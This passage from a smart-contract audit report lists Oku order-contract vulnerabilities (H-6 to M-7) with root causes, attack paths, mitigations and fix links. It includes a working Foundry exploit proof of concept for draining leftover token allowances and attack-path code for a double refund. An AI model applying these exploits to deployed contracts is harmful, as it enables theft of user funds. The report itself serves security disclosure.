1) Attacker creates a readily executable order in Bracket contract such that tokenOut = token for which StopLimit contract already set allowance of Bracket contract to type(uint256).max to transfer tokenOut tokens.
2) Attacker then calls performUpkeep function with respect to this orderId by setting target= address of tokenOut and txData such that it calls transferFrom function

with from = address of StopLimit contract and to = address of Bracket contract and value = available balance of tokenOut tokens for StopLimit contract.

Impact

Attacker can drain StopLimit contract funds.(almost completely)

PoC

No response

Mitigation

StopLimit contract should increase allowance of Bracket contract to transfer tokens only which are required in fillStopLimit order function(not to type(uint256).max).

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/gfx-labs/oku-custom-order-types/pull/1

Issue H-6: Failure to reset unspent approval to the target address will lead to the wiping of the smart contract balance

Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/745

Found by

0x007, 0x0x0xw3, 0x37, 0xaxaxa, 0xc0ffEE, 0xmujahid002, Boy2000, Contest-Squad, KungFuPanda, ami, durov, etherhood, iamandreiski, joshuajee, t.aksoy, tobi0x18, vinica_boy, whitehair0330

Summary

The contract gives arbitrary approval to untrusted contracts when filling orders, these approvals don't need to be fully utilized, and in situations where the approvals are not fully used they are not revoked, worst the order creator gets refunded for all unspent tokens. This leaves a malicious contract with unused approvals that they can use to steal funds. This attack is very easy to perform and can be done multiple times.

Root Cause

The root cause is the failure to set approval to zero after the call to the `target` contract.

https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/OracleLess.sol#L240

```
    function execute(
        address target,
        bytes calldata txData,
        Order memory order
    ) internal returns (uint256 amountOut, uint256 tokenInRefund) {
        //update accounting
        uint256 initialTokenIn = order.tokenIn.balanceOf(address(this));
        uint256 initialTokenOut = order.tokenOut.balanceOf(address(this));

        //approve
@->         order.tokenIn.safeApprove(target, order.amountIn);

        //perform the call
        (bool success, bytes memory reason) = target.call(txData);

        if (!success) {
            revert TransactionFailed(reason);
```

```
        }

        uint256 finalTokenIn = order.tokenIn.balanceOf(address(this));
        require(finalTokenIn >= initialTokenIn - order.amountIn, "over spend");
        uint256 finalTokenOut = order.tokenOut.balanceOf(address(this));

        require(
            finalTokenOut - initialTokenOut > order.minAmountOut,
            "Too Little Received"
        );

        amountOut = finalTokenOut - initialTokenOut;
        tokenInRefund = order.amountIn - (initialTokenIn - finalTokenIn);
    }
```

Internal pre-conditions

There are pending orders in the contract, for example worth 100 ETH;,

External pre-conditions

No response

Attack Path

1. Attacker creates a malicious contract like the one on my POC
2. Attacker creates an order with 1 ETH, but the min amount out will be 1 wei
3. Attacker Fills their order immediately with the malicious contract.
4. By doing this the attack has earn approximately 1 ETH, they can do this multiple times to steal everything.

Impact

1. The whole contract balance will be lost to the attacker.
2. Similar issue is on the Bracket Contract

PoC

The output of the POC below shows that the attacker almost doubled their initial balance by performing this action.

```
[PASS] testAttack() (gas: 435837)
Logs:
  ATTACKER BALANCE BEFORE ATTACK :  10000000000000000000
  MALICIOUS CONTRACT ALLOWANCE   :  99999999999999999999
  ATTACK BALANCE AFTER ATTACK    :  19999999999999999998
```

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import {ERC20Mock} from
↪  "openzeppelin-contracts/contracts/mocks/token/ERC20Mock.sol";
import { AutomationMaster } from
↪  "../contracts/automatedTrigger/AutomationMaster.sol";
import { OracleLess } from "../contracts/automatedTrigger/OracleLess.sol";
import "../contracts/interfaces/uniswapV3/IPermit2.sol";
import "../contracts/interfaces/openzeppelin/ERC20.sol";
import "../contracts/interfaces/openzeppelin/IERC20.sol";

contract MaliciousTarget {

    IERC20 tokenIn;
    IERC20 tokenOut;

    constructor (IERC20 _tokenIn, IERC20 _tokenOut) {
        tokenIn = _tokenIn;
        tokenOut = _tokenOut;

    }

    fallback () external payable {
        tokenIn.transferFrom(msg.sender, address(this), 1);
        tokenOut.transfer(msg.sender, 1);
    }

    function spendAllowance(address victim) external {
        tokenIn.transferFrom(victim, msg.sender, 100 ether - 1);
    }


}


contract PocTest2 is Test {

    AutomationMaster automationMaster;
    OracleLess oracleLess;
```

```
    IPermit2 permit2;
    IERC20 tokenIn;
    IERC20 tokenOut;
    MaliciousTarget target;

    address attacker = makeAddr("attacker");
    address alice = makeAddr("alice");

    function setUp() public {

        automationMaster = new AutomationMaster();
        oracleLess = new OracleLess(automationMaster, permit2);
        tokenIn = IERC20(address(new ERC20Mock()));
        tokenOut = IERC20(address(new ERC20Mock()));

        target = new MaliciousTarget(tokenIn, tokenOut);
        //MINT
        ERC20Mock(address(tokenIn)).mint(alice, 100 ether);
        ERC20Mock(address(tokenIn)).mint(attacker, 100 ether);
        ERC20Mock(address(tokenOut)).mint(address(target), 1);

    }

    function testAttack() public {
        uint96 orderId;
        //Innocent User
        vm.startPrank(alice);
        tokenIn.approve(address(oracleLess), 100 ether);
        orderId = oracleLess.createOrder(tokenIn, tokenIn, 100 ether, 9 ether,
↪   alice, 1, false, '0x0');
        vm.stopPrank();

        //Attacker

        console.log("ATTACKER BALANCE BEFORE ATTACK : ",
↪   tokenIn.balanceOf(attacker));
        vm.startPrank(attacker);
        tokenIn.approve(address(oracleLess), 100 ether);
        orderId = oracleLess.createOrder(tokenIn, tokenOut, 100 ether, 0, attacker,
↪   1, false, '0x0');

        oracleLess.fillOrder(1, orderId, address(target), "0x");

        console.log("MALICIOUS CONTRACT ALLOWANCE   :
↪   ",tokenIn.allowance(address(oracleLess), address(target)));

        //Spend allowance

        target.spendAllowance(address(oracleLess));
```

```
        console.log("ATTACK BALANCE AFTER ATTACK    : ",
↪   tokenIn.balanceOf(attacker));

        vm.stopPrank();

    }



}
```

Mitigation

```
    function execute(
        address target,
        bytes calldata txData,
        Order memory order
    ) internal returns (uint256 amountOut, uint256 tokenInRefund) {
        //update accounting
        uint256 initialTokenIn = order.tokenIn.balanceOf(address(this));
        uint256 initialTokenOut = order.tokenOut.balanceOf(address(this));

        //approve
        order.tokenIn.safeApprove(target, order.amountIn);

        //perform the call
        (bool success, bytes memory reason) = target.call(txData);

        if (!success) {
            revert TransactionFailed(reason);
        }

+       order.tokenIn.safeApprove(target, 0);

        uint256 finalTokenIn = order.tokenIn.balanceOf(address(this));
        require(finalTokenIn >= initialTokenIn - order.amountIn, "over spend");
        uint256 finalTokenOut = order.tokenOut.balanceOf(address(this));

        require(
            finalTokenOut - initialTokenOut > order.minAmountOut,
            "Too Little Received"
        );

        amountOut = finalTokenOut - initialTokenOut;
        tokenInRefund = order.amountIn - (initialTokenIn - finalTokenIn);
    }
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/gfx-labs/oku-custom-order-types/pull/1

Issue H-7: stopLimit Id collision with bracket orders due to no validation, opening up an attack to steal funds

Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/761

Found by

056Security, 0rpse, 0x007, 0x0x0xw3, 0x37, 0x486776, 0xAadi, 0xNirix, 0xRiO, 0xaxaxa, 0xc0ffEE, 0xeix, 0xhuh2005, 0xmurki, 0xumarkhatab, 6261627927564696e, Afriaudit, Atharv, Bigsam, Boy2000, Breaker, BugPull, Cayde-6, ChinmayF, Contest-Squad, DenTonylifer, ElKu, ExtraCaterpillar, Falendar, IvanFitro, JinxSalamV2, John44, JohnTPark24, Kenn.eth, KungFuPanda, Kyosi, LonWof-Demon, LordAdhaar, Matin, NickAuditor2, NoOneWinner, NoWinner, PNS, PeterSR, PoeAudits, Praise03, Ragnarok, Tri-pathi, TxGuard, Weed0607, Xcrypt, Z3R0, ami, aslanbek, auditism, bughuntoor, chista0x, covey0x07, durov, elvin.a.block, future2_22, hals, iamandreiski, itcruiser00, joshuajee, krot-0025, lanrebayode77, lukris02, mladenov, mxteem, newspacexyz, nfmelendez, nikhil840096, onthehunt, oualidpro, phoenixv110, rudhra1749, safdie, silver_eth, t.aksoy, t0x1c, tedox, tmotfl, tobi0x18, tomadimitrie, vinica_boy, whitehair0330, xiaoming90, xseven, yovchev_yoan, zhenyazhd, zhigang, zhoo, zxriptor

Summary

High-severity vulnerability in Oku's dual-contract architecture where parallel order creation between `StopLimit.sol` and `Bracket.sol` enables order data corruption and potential double-refund exploitation through orderId collisions.

Root Cause

```
// Current implementation
function generateOrderId(address user) external returns (uint96) {
    return uint96(uint256(keccak256(abi.encodePacked(
        block.number,
        user
    ))));
}
```

Deterministic orderId generation lacks contract-specific entropy, allowing cross-contract collisions within the same block.

Internal pre-conditions

1. Shared AutomationMaster instance between contracts
2. Mutable orders mapping in Bracket contract
3. Independent order creation flows

```
mapping(uint96 => Order) public orders;
```

External pre-conditions

1. MEV capabilities (same-block execution)
2. Sufficient token balance for multiple orders
3. Active protocol state

Attack Path

```
// Block N
// Step 1: Create Bracket order (5000 USDT)
bracket.createOrder({
    amountIn: 5000e6,
    recipient: attacker
});
// OrderId = hash(blockN + attacker)

// Same Block N
// Step 2: Create StopLimit order (10000 USDT)
stopLimit.createOrder({
    amountIn: 10000e6,
    recipient: attacker
});
// Internally calls bracket.fillStopLimitOrder
// Same OrderId = hash(blockN + attacker)

// Step 3: Cancel order twice
bracket.cancelOrder(orderId); // Refunds 10000 USDT
bracket.cancelOrder(orderId); // Refunds 10000 USDT again
```

Impact

- Double-spend vulnerability
- Order state corruption
- Accounting system compromise

- Direct financial loss

Mitigation

```
contract AutomationMaster {
    // Add contract-specific entropy
    function generateOrderId(
        address user,
        address contractSource
    ) external returns (uint96) {
        return uint96(uint256(keccak256(abi.encodePacked(
            block.number,
            user,
            contractSource,
            _orderNonce++ // Additional entropy
        ))));
    }

    uint256 private _orderNonce;
}

// Update in Bracket.sol
function createOrder(...) external {
    uint96 orderId = MASTER.generateOrderId(msg.sender, address(this));
    // Rest of the function
}

// Update in StopLimit.sol
function createOrder(...) external {
    uint96 orderId = MASTER.generateOrderId(msg.sender, address(this));
    // Rest of the function
}
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/gfx-labs/oku-custom-order-types/pull/1

Issue H-8: Insecure calls to `safeTransferFrom` leads to users tokens steal by attacker

Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/789

Found by

0x37, 0xaxaxa, 0xc0ffEE, Bigsam, Boy2000, BugPull, ChinmayF, John44, KungFuPanda, Laksmana, LonWof-Demon, PoeAudits, Ragnarok, Tri-pathi, Xcrypt, Z3R0, bughuntoor, c-n-o-t-e, covey0x07, future2_22, gajiknownnothing, hals, iamandreiski, joshuajee, lanrebayode77, nikhil840096, phoenixv110, rahim7x, silver_eth, t.aksoy, tobi0x18, vinica_boy, whitehair0330, xiaoming90, y51r, zhoo, zxriptor

Summary

The function `safeTransferFrom()` is used to transfer tokens from user to the protocol contract. This function is used in `modifyOrder` and `createOrder` with the recipent address as the `owner` form who the tokens will be transfered from. An attacker can abuse this functionnality to create unfaire orders for a protocol user that approve more tokens than needed to the protocol contract the fill the order immediatly and gain instant profit while the victim lost his tokens.

Root Cause

In `OracleLess.sol::procureTokens():280` https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/OracleLess.sol#L280 `procureTokens()` implement tokens transfer from an owner address to the protocol contract

In `StopLimit.sol::createOrder():171` https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/StopLimit.sol#L171

In `StopLimit.sol::modifyOrder():226-230` https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/StopLimit.sol#L226-L230

In `Bracket.sol::modifyOrder():250-254` https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/Bracket.sol#L250-L254

Internal pre-conditions

No response

External pre-conditions

1. A user should have approve more tokens than needed for a trade that whould result in some residual allowance to the protocole contract

Attack Path

1. The attacker create/modify an unfaire order with the victim as recipent with an amounIn <= residual allowance
2. The prococol then transfer the tokens from the user to create the order
3. The attacker fill the order an gain instant profit

Impact

No response

PoC

No response

Mitigation

It would be better to use `msg.sender` to ensure that the `recipient/owner` of the order is the order creator or juste use `msg.sender` as parameter to the `safeTransferFrom()` function call instead of order recipient

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/gfx-labs/oku-custom-order-types/pull/1

Issue M-1: Bracket and StopLimit contracts are vulnerable to DoS attacks.

Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/72

Found by

Contest-Squad, vinica_boy

Summary

Users can create uncancellable order and brick the `Bracket` and `StopLimit` contracts. Both contracts have an upper limit for their pending orders defined in `AutomationMaster` contract. This will ensure that length of the `pendingOrderIds` array wont grow indefinitely and it can be traversed with the current gas block limit. Also, the admin can cancel orders if users create inexecutable order which only take space in the array.

But there is case where orders wont be possible to be cancelled by admin when the tokenIn is USDT which will allow users to fulfill the supported amount of orders with order that will never be in range to be executed. For example bracket order for WETH with stopPrice = 0 and takeProfit = 100000 USD

Root Cause

In `_cancelOrder()` the `tokenIn` amount is send back to the recipient: `order.tokenIn.safeTransfer(order.recipient, order.amountIn)`

But this call will always revert for `order.recipient` = `address(0)`. Here is the `_transfer()` function of USDT:

```
function _transfer(address sender, address recipient, uint256 amount) internal
↪  virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
@>      require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount
↪  exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }
```

And when order is created, `recipient` can be set to `address(0)` since there are no constraints.

`_cancelOrder()`: https://github.com/sherlock-audit/2024-11-oku/blob/ee3f781a73d65e33fb452c9a44eb1337c5cfdbd6/oku-custom-order-types/contracts/automatedTrigger/Bracket.sol#L501C1-L520C6

Internal pre-conditions

N/A

External pre-conditions

N/A

Attack Path

User create enough orders with recipient set to `address(0)` to make the length of `pendingOrderIds` reach `AutomationMaster.maxPendingOrders`. We assume that this does not lead to DoS and array elements can be traversed within the block gas limit. Admin cannot cancel such orders and can only increase the `maxPendingOrders`. This process can happen again and again until the size of `pendingOrderIds` and `maxPendingOrders` reach numbers for which gas cost to traverse the whole array would be more than the current gas block limit.

Impact

Complete DoS for `Bracket` and `StopLimit` contracts.

PoC

N/A

Mitigation

Ensure order recipient to be different than `address(0)`.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/gfx-labs/oku-custom-order-types/pull/1

Issue M-2: Incorrect Freshness Logic Validation in PythOracle breaking the entire mechanism for triggering orders

Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/115

Found by

0x486776, 0xCNX, 0xMitev, 0xNirix, 0xRiO, 0xShoonya, 0xaxaxa, 0xc0ffEE, 0xgremlincat, 0xmujahid002, 10ap17, 4gontuk, BijanF, Boy2000, BugPull, ChaosSR, Contest-Squad, DharkArtz, ExtraCaterpillar, Icon0x, John44, LonWof-Demon, LordAdhaar, MoonShadow, NickAuditor2, PoeAudits, Pro_King, Smacaud, Sparrow_Jac, TxGuard, Uddercover, Waydou, Weed0607, X0sauce, Xcrypt, ZanyBonzy, curly, durov, jovemjeune, lukris02, mladenov, mxteem, nikhilx0111, oxwhite, pkabhi01, s0x0mtee, safdie, sakibcy, silver_eth, skid0016, t0x1c, tmotfl, tnevler, udo, vinica_boy, xiaoming90, yovchev_yoan, zhenyazhd, zhoo

Summary

The **PythOracle** contract incorrectly validates the freshness of price data using the **getPriceUnsafe()** function. The current logic ensures that prices are always considered stale, which results in valid orders failing to execute.

Root Cause

In PythOracle.sol:29, the logic : https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/oracle/External/PythOracle.sol#L28-L31

is incorrect. The condition ensures that the price is always considered stale, regardless of whether the price is recent or valid. The comparison fails to verify if the price.publishTime is newer than the defined threshold.

Internal pre-conditions

1- The **noOlderThan** parameter is set during the function call, defining the allowed freshness window for price data. 2- A valid **price.publishTime** is provided by the oracle, but due to incorrect logic, it fails validation.

External pre-conditions

1- The price feed from the Pyth Oracle contains a valid and fresh publishTime that is newer than block.timestamp - noOlderThan. 2- No tampering or delays in oracle updates occur externally.

Attack Path

1- Alice places a stop-limit order for a token pair using the **PythOracle** as the price feed. 2- The oracle updates its price feed, providing a fresh price with a **publishTime** newer than **block.timestamp - noOlderThan.** 3- When **checkInRange()** is called, the require condition in PythOracle.sol:29 evaluates the price as stale, despite it being valid. 4- The order fails to execute as the system misinterprets the freshness of the price data.

Impact

The protocol and its users face the following consequences:

User Losses:

- Orders fail to execute at the right price, leading to missed opportunities for profit or failure to exit losing positions.
- This affects users placing stop-loss or take-profit orders reliant on timely price updates.

Protocol Reputation:

- Continuous failures in executing valid orders due to perceived stale data undermine user trust in the system.

PoC

Example Scenario

1- Alice places a stop-limit order to sell Token A for Token B if the price of Token A falls below 50. 2- The oracle updates its price feed with a publishTime of block.timestamp - 5 seconds. 3- The noOlderThan parameter is set to 30 seconds.

Execution: The condition in PythOracle.sol:29 evaluates:

```
require(price.publishTime < block.timestamp - 30, "Stale Price");
```

- **With price.publishTime = block.timestamp - 5, the condition becomes:**

```
block.timestamp - 5 < block.timestamp - 30
```

- This condition is always false, causing the price to be deemed stale.

Result:

- Alice's stop-limit order does not execute, resulting in financial losses as she misses the opportunity to sell her tokens before the price drops further.

Mitigation

Correct the logic to ensure the freshness validation verifies that the **publishTime is newer than the threshold:**

```
require(price.publishTime >= block.timestamp - noOlderThan, "Stale Price");
```

The following test demonstrates the issue and verifies the fix:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "forge-std/Test.sol";

contract PythOracleTest is Test {
    uint256 public noOlderThan = 30;

    function testIncorrectFreshnessCheck() public {
        uint256 currentTime = block.timestamp;
        uint256 validPublishTime = currentTime - 5;

        // Incorrect logic
        bool stale = (validPublishTime < currentTime - noOlderThan);
        assertTrue(stale); // This fails even though the price is valid.

        // Correct logic
        bool fresh = (validPublishTime >= currentTime - noOlderThan);
        assertTrue(fresh); // This passes as the price is valid.
    }
}
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/gfx-labs/oku-custom-order-types/pull/1

Issue M-3: Order will be executed with wrong slippage if by the time of execution, price crosses take profit

Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/146

Found by

LonWof-Demon, ami, bughuntoor, covey0x07

Summary

An order's direction is determined by whether the current `exchangeRate` is below or above the `takeProfit` price

```
orders[existingOrderId] = Order({
    orderId: existingOrderId,
    takeProfit: takeProfit,
    stopPrice: stopPrice,
    amountIn: amountIn,
    tokenIn: tokenIn,
    tokenOut: tokenOut,
    recipient: recipient,
    takeProfitSlippage: takeProfitSlippage,
    feeBips: feeBips,
    stopSlippage: stopSlippage,
    direction: MASTER.getExchangeRate(tokenIn, tokenOut) > takeProfit
↪   //exchangeRate in/out > takeProfit
});
```

However, this could be problematic, in the case where by the time the user's transaction is executed, the price moves beyond the `takeProfit` price and changes direction.

```
function checkInRange(
    Order memory order
)
    internal
    view
    returns (bool inRange, bool takeProfit, uint256 exchangeRate)
{
    exchangeRate = MASTER.getExchangeRate(order.tokenIn, order.tokenOut);
    if (order.direction) {
        //check for take profit price
        if (exchangeRate <= order.takeProfit) {
```

```
            return (true, true, exchangeRate);
        }
        //check for stop price
        if (exchangeRate >= order.stopPrice) {
            return (true, false, exchangeRate);
        }
    } else {
        //check for take profit price
        if (exchangeRate >= order.takeProfit) {
            return (true, true, exchangeRate);
        }
        //check for stop price
        if (exchangeRate <= order.stopPrice) {
            return (true, false, exchangeRate);
        }
    }
}
```

In this case both of the `takeProfit` and `stopPrice` would be on the same side of the price, which would also make it instantly executable. The only problem is that it would be treated as a stop, rather than a `takeProfit`, which would result in using the `stopSlippage` , instead of the `takeProfitSlippage`.

In the case where the `stopSlippage` is higher than the `takeProfit` slippage, this would expose the user to a higher loss of funds than expected.

Root Cause

Wrong direction logic.

Attack Path

1. Current WETH/ USDC price is $3000
2. User creates an offer with tp $3100 and `stopPrice` $2800. `takeProfitSlippage` is 5% and `stopPriceSlippage` is 15%
3. By the time the user's tx is executed, WETH's price goes above $3100. This changes the order's direction.
4. Both of the tp price and stop price are below the current price.
5. The order will be executed as a stop price, using the 15% slippage. This exposes the user to extra 10% loss.

Impact

Using wrong slippage parameter.

Affected Code

https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/Bracket.sol#L492

Mitigation

Allow the user to specify the direction.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/gfx-labs/oku-custom-order-types/pull/1

Issue M-4: User can brick the `Bracket` contract by inputing malicious `txData`

Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/202

Found by

0xaxaxa, 0xloscar01, 0xpetern, 10ap17, AshishLac, ChinmayF, ExtraCaterpillar, KiroBrejka, Laksmana, Sparrow_Jac, ZanyBonzy, auditism, jah, phoenixv110, t.aksoy, t0x1c, whitehair0330, wickie, y51r

Summary

User can brick the `Bracket` contract by inputing malicious `txData`. This is possible because in all of the swap related contracts (`OracleLess`, `Bracket`), the `txData` is provided from the caller one way or another. This will brick the swapping functionality of any token practically locking the funds of every user in the contract. Part of this happens due to the behaviour of safeApprove function, which looks like this:

```
function safeApprove(IERC20 token, address spender, uint256 value) internal {
     // safeApprove should only be called when setting an initial allowance,
     // or when resetting it to zero. To increase and decrease it, use
     // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
     require(
         (value == 0) || (token.allowance(address(this), spender) == 0),
         "SafeERC20: approve from non-zero to non-zero allowance"
     );
     _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector,
 ↪  spender, value));
 }
```

As seen in the block of code, the function requires the value of approval to be 0 or the existing allowance to be 0 in order for the tx to go through.

Root Cause

the behaviour of `safeApprove` function, which is due to the old OpenZeppelin version used in the system

Internal pre-conditions

User performing an upkeep with malicious `txData` that will leave 1 wei of a corresponding worth of allowance, which will be enough for the `execute` function to revert at the following line:

```
    function execute(
        address target,
        bytes memory txData,
        uint256 amountIn,
        IERC20 tokenIn,
        IERC20 tokenOut,
        uint16 bips
    ) internal returns (uint256 swapAmountOut, uint256 tokenInRefund) {
        //update accounting
        uint256 initialTokenIn = tokenIn.balanceOf(address(this));
        uint256 initialTokenOut = tokenOut.balanceOf(address(this));

        //approve
@>        tokenIn.safeApprove(target, amountIn);
```

External pre-conditions

None

Attack Path

1. User creates an order
2. The order is ready to be fulfilled (Ready for the `performUpkeep` function to be called)
3. As seen in the following block of code, the caller of `performUpkeep` function is allowed to specify his perform data input, meaning he is absolutely free to compute the malicious `txData`, which will have `amountIn - 1` as the amount that the `target` address needs to swap:

```
 function performUpkeep(
@>        bytes calldata performData
    ) external override nonReentrant {
```

4. The `execute` function is called, and the following block of code is executed:

```
function execute(
    address target,
    bytes memory txData,
    uint256 amountIn,
    IERC20 tokenIn,
    IERC20 tokenOut,
```

```
    uint16 bips
) internal returns (uint256 swapAmountOut, uint256 tokenInRefund) {
    //update accounting
    uint256 initialTokenIn = tokenIn.balanceOf(address(this));
    uint256 initialTokenOut = tokenOut.balanceOf(address(this));

    //approve
    tokenIn.safeApprove(target, amountIn);

    //perform the call
    (bool success, bytes memory result) = target.call(txData);
```

We approve the `target` address with `amountIn`, which is the `amountIn` saved in the `orders` mapping. 5. Then, after the swap is performed, the target address would have used `amountIn - 1` tokens to perform the swap, leaving it with 1 wei worth of the corresponding token of allowance, which due to the `safeApprove` behaviour will revert the function every time someone tries to swap with the same `tokenIn` as the attacker swapped.

Impact

User can block the usage of every single existing `ERC20` including those the system wants to comply with

PoC

No response

Mitigation

The OpenZeppelin version is outdated. Upgrade the version to the newest one possible and use `forceApprove` instead of `safeApprove`

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/gfx-labs/oku-custom-order-types/pull/1

Issue M-5: In OracleLess.createOrder() feeBips value validation is missing

Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/277

Found by

phoenixv110

Summary

The max value of `feeBips` should be ***<=10000***. But this validation is missing in `createOrder()`. All such orders where feeBips is > 10000 will revert in `execute()` method. A malicious user can create 100s of such orders which never execute even if the price conditions are met. It can use `USDC` as tokenIn and blacklist itself so that `_cancelOrder()` also reverts. As `_cancelOrder()` tries to transfer tokenIn to the user. If the receiver is blacklisted user then transfer will fail. This was the malicious user can create 1 wei orders will can neither execute nor cancellable.

https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/OracleLess.sol#L38C5-L67C6

Root Cause

Missing feeBips input validation in `createOrder()`

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

No response

Impact

Such orders will exist in the `pendingOrderIds` which can not be deleted from the queue. These orders can increase the queue size until the max gas usage limit is reached. Which will DoS all other orders.

PoC

No response

Mitigation

Add the check `feeBips <= 10000` in `createOrder()` of `OracelLess.sol`.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/gfx-labs/oku-custom-order-types/pull/1

Issue M-6: A malicious attacker can create many orders that is not cancelable.

Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/331

Found by

covey0x07, vinica_boy

Summary

When a user creates an order in the `OracleLess` contract, he can add a malicous token contract that reverts when tokens are transferred from the `OracleLess` contract. This order can't be canceled by admin. A malicious attacker can create this kind of order as many as he can to grife the protocol.

Root Cause

At OracleLess.sol#L38, there is no restrictions for `tokenIn`. Any contract that implements `IERC20` can be `tokenIn`.

Internal pre-conditions

N/A

External pre-conditions

N/A

Attack Path

- Alice creates a malicous token contract that reverts if token is transferred from the `OracleLess` contract.
- Alice creates orders by using this fake token contract.
- This order can't be cancelable as it reverts at L160.

```
    function _cancelOrder(Order memory order) internal returns (bool) {
        //refund tokenIn amountIn to recipient
@>      order.tokenIn.safeTransfer(order.recipient, order.amountIn);
```

Impact

- A malicous attacker can grief the protocol by making a lot of uncancelable orders.
- All users of the protocol wastes significant gas in whenever they fill or cancel orders.

Mitigation

It is recommended to add mechanism to whitelist tokens.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/gfx-labs/oku-custom-order-types/pull/1

Issue M-7: Malicious User can Poison Bracket.sol with Blacklisted Accounts

Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/424

Found by

Boy2000, PoeAudits, iamandreiski

Summary

The missing check for blacklisted accounts when creating orders allows users to specify a blacklisted account as the recipient of an easily executable order to freeze execution of the orderbook. This will also prevent the order from being canceled by the admin, since the cancelOrder function attempts to send tokens to the order.recipient, which is blacklisted. This can be used to fill up the arrays which contain pendingOrders, which will eventually DOS the protocol when the maxPendingOrders is reached.

Root Cause

The protocol expects to use tokens with blacklists, and allows users to specify the recipient address where tokens will be sent without properly validation if transferring tokens is possible to the recipient address.

Bracket.sol:procureTokens uniquely uses msg.sender to take the tokens from:

https://github.com/sherlock-audit/2024-11-oku/blob/ee3f781a73d65e33fb452c9a44eb1337c5cfdbd6/oku-custom-order-types/contracts/automatedTrigger/Bracket.sol#L362C1-L368C15

This allows a non-blacklisted address to create and pay for an order for a blacklisted account. This then becomes uncancelable due to the Bracket.sol:_cancelOrder function attempting to return these tokens to the order.recipient:

https://github.com/sherlock-audit/2024-11-oku/blob/ee3f781a73d65e33fb452c9a44eb1337c5cfdbd6/oku-custom-order-types/contracts/automatedTrigger/Bracket.sol#L510C1-L511C77

Internal pre-conditions

1. A token with a blacklist is added to the protocol.

External pre-conditions

1. The token must have a blacklist.

Attack Path

1. The attacker calls createOrder in Bracket.sol with the recipient field set to a blacklisted address for a token pair added to the protocol as cheaply as possible.
2. The attacker repeats this until the pendingOrderIds array is full of uncancelable orders.

Impact

This will cause a DOS to the protocol when the pendingOrderIds reaches maxPendingOrders:

https://github.com/sherlock-audit/2024-11-oku/blob/ee3f781a73d65e33fb452c9a44eb1337c5cfdbd6/oku-custom-order-types/contracts/automatedTrigger/Bracket.sol#L462C1-L465C11

This will also cause the ArrayMutation:removeFromArray to explode in gas costs.

PoC

```
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Test, console2 as console} from "lib/forge-std/src/Test.sol";
import {Gas} from "test/Gas.sol";
import "src/automatedTrigger/IAutomation.sol";
import {OracleLess} from "src/automatedTrigger/OracleLess.sol";
import {AutomationMaster} from "src/automatedTrigger/AutomationMaster.sol";
import {Bracket} from "src/automatedTrigger/Bracket.sol";
import {StopLimit} from "src/automatedTrigger/StopLimit.sol";
import {IPermit2} from "src/interfaces/uniswapV3/IPermit2.sol";
import {IERC20} from "src/interfaces/openzeppelin/IERC20.sol";

contract Setup is Test, Gas {
    AutomationMaster internal automation;
    OracleLess internal oracleLess;
    Bracket internal bracket;
    StopLimit internal stopLimit;

    IPermit2 internal permit;

    IERC20 internal weth = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);
    IERC20 internal usdc = IERC20(0xaf88d065e77c8cC2239327C5EDb3A432268e5831);
```

```
    address internal _alice = address(0x1111);
    address internal _bob = address(0x2222);

    address internal _admin = address(0x12345);

    address internal _wethWhale = 0xC6962004f452bE9203591991D15f6b388e09E8D0;
    address internal _usdcWhale = 0x70d95587d40A2caf56bd97485aB3Eec10Bee6336;

    function setUp() public virtual {
        uint256 forkId = vm.createSelectFork("http:127.0.0.1:8545");

        vm.startPrank(_admin);
        automation = new AutomationMaster();
        permit = IPermit2(0x000000000022D473030F116dDEE9F6B43aC78BA3);

        bracket = new Bracket(IAutomationMaster(address(automation)), permit);
        stopLimit = new StopLimit(
            IAutomationMaster(address(automation)),
            IBracket(address(bracket)),
            permit
        );
        oracleLess = new OracleLess(automation, permit);

        vm.stopPrank();
        vm.startPrank(_wethWhale);
